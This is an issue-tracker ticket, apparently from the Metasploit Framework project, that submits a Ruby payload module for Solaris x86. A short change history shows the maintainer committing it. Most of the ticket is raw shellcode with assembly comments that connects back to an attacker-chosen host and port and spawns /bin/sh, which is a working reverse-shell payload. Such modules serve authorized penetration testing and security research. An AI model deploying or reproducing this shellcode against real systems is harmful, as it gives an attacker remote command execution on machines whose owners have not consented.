Ticket #100 (closed enhancement: fixed)

Opened 1 year ago

Last modified 1 year ago

New single shell_reverse_tcp payload module for Solaris x86

Reported by: ramon@risesecurity.org Assigned to: hdm
Priority: minor Milestone:
Component: framework3 Version:
Keywords: Cc:

Description

# $Id$

require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'

module Msf
module Payloads
module Singles
module Solaris
module X86

module ShellReverseTcp

	include Msf::Payload::Single

	def initialize(info = {})
		super(merge_info(info,
			'Name'          => 'Solaris Command Shell, Reverse TCP Inline',
			'Version'       => '$Revision$',
			'Description'   => 'Connect back to attacker and spawn a command shell',
			'Author'        => 'Ramon de Carvalho Valle <ramon@risesecurity.org>',
			'License'       => MSF_LICENSE,
			'Platform'      => 'solaris',
			'Arch'          => ARCH_X86,
			'Handler'       => Msf::Handler::ReverseTcp,
			'Session'       => Msf::Sessions::CommandShell,
			'Payload'       =>
				{
					'Offsets' =>
						{
							'LHOST'    => [ 15, 'ADDR' ],
							'LPORT'    => [ 21, 'n'    ],
						},
					'Payload' =>
							"\x68\xff\xd8\xff\x3c" +#   pushl   $0x3cffd8ff                #
							"\x6a\x65"             +#   pushl   $0x65                      #
							"\x89\xe6"             +#   movl    %esp,%esi                  #
							"\xf7\x56\x04"         +#   notl    0x04(%esi)                 #
							"\xf6\x16"             +#   notb    (%esi)                     #
							"\x68\x7f\x01\x01\x01" +#   pushl   $0x0101017f                #
							"\x66\x68\x04\xd2"     +#   pushw   $0xd204                    #
							"\x66\x6a\x02"         +#   pushw   $0x02                      #
							"\x89\xe7"             +#   movl    %esp,%edi                  #
							"\x6a\x02"             +#   pushl   $0x02                      #
							"\x31\xc0"             +#   xorl    %eax,%eax                  #
							"\x50"                 +#   pushl   %eax                       #
							"\x50"                 +#   pushl   %eax                       #
							"\x6a\x02"             +#   pushl   $0x02                      #
							"\x6a\x02"             +#   pushl   $0x02                      #
							"\xb0\xe6"             +#   movb    $0xe6,%al                  #
							"\xff\xd6"             +#   call    *%esi                      #
							"\x6a\x10"             +#   pushl   $0x10                      #
							"\x57"                 +#   pushl   %edi                       #
							"\x50"                 +#   pushl   %eax                       #
							"\x31\xc0"             +#   xorl    %eax,%eax                  #
							"\xb0\xeb"             +#   movb    $0xeb,%al                  #
							"\xff\xd6"             +#   call    *%esi                      #
							"\x5b"                 +#   popl    %ebx                       #
							"\x53"                 +#   pushl   %ebx                       #
							"\x6a\x09"             +#   pushl   $0x09                      #
							"\x53"                 +#   pushl   %ebx                       #
							"\x6a\x3e"             +#   pushl   $0x3e                      #
							"\x58"                 +#   popl    %eax                       #
							"\xff\xd6"             +#   call    *%esi                      #
							"\xff\x4f\xe0"         +#   decl    -0x20(%edi)                #
							"\x79\xf6"             +#   jns     <cntsockcode+57>           #
							"\x50"                 +#   pushl   %eax                       #
							"\x68\x2f\x2f\x73\x68" +#   pushl   $0x68732f2f                #
							"\x68\x2f\x62\x69\x6e" +#   pushl   $0x6e69622f                #
							"\x89\xe3"             +#   movl    %esp,%ebx                  #
							"\x50"                 +#   pushl   %eax                       #
							"\x53"                 +#   pushl   %ebx                       #
							"\x89\xe1"             +#   movl    %esp,%ecx                  #
							"\x50"                 +#   pushl   %eax                       #
							"\x51"                 +#   pushl   %ecx                       #
							"\x53"                 +#   pushl   %ebx                       #
							"\xb0\x3b"             +#   movb    $0x3b,%al                  #
							"\xff\xd6"              #   call    *%esi                      #
				}
			))
	end

end

end end end end end

Change History

05/02/07 22:11:50 changed by hdm

  • status changed from new to closed.
  • resolution set to fixed.

(In [4840]) More payloads from Ramon (fixes #98, #99, #100, #101)

05/02/07 22:12:24 changed by hdm

(In [4841]) More payloads from Ramon (fixes #98, #99, #100, #101)

05/02/07 22:12:33 changed by hdm

(In [4842]) More payloads from Ramon (fixes #98, #99, #100, #101)

05/02/07 22:12:49 changed by hdm

(In [4843]) More payloads from Ramon (fixes #98, #99, #100, #101)

05/02/07 22:13:00 changed by hdm

(In [4844]) More payloads from Ramon (fixes #98, #99, #100, #101)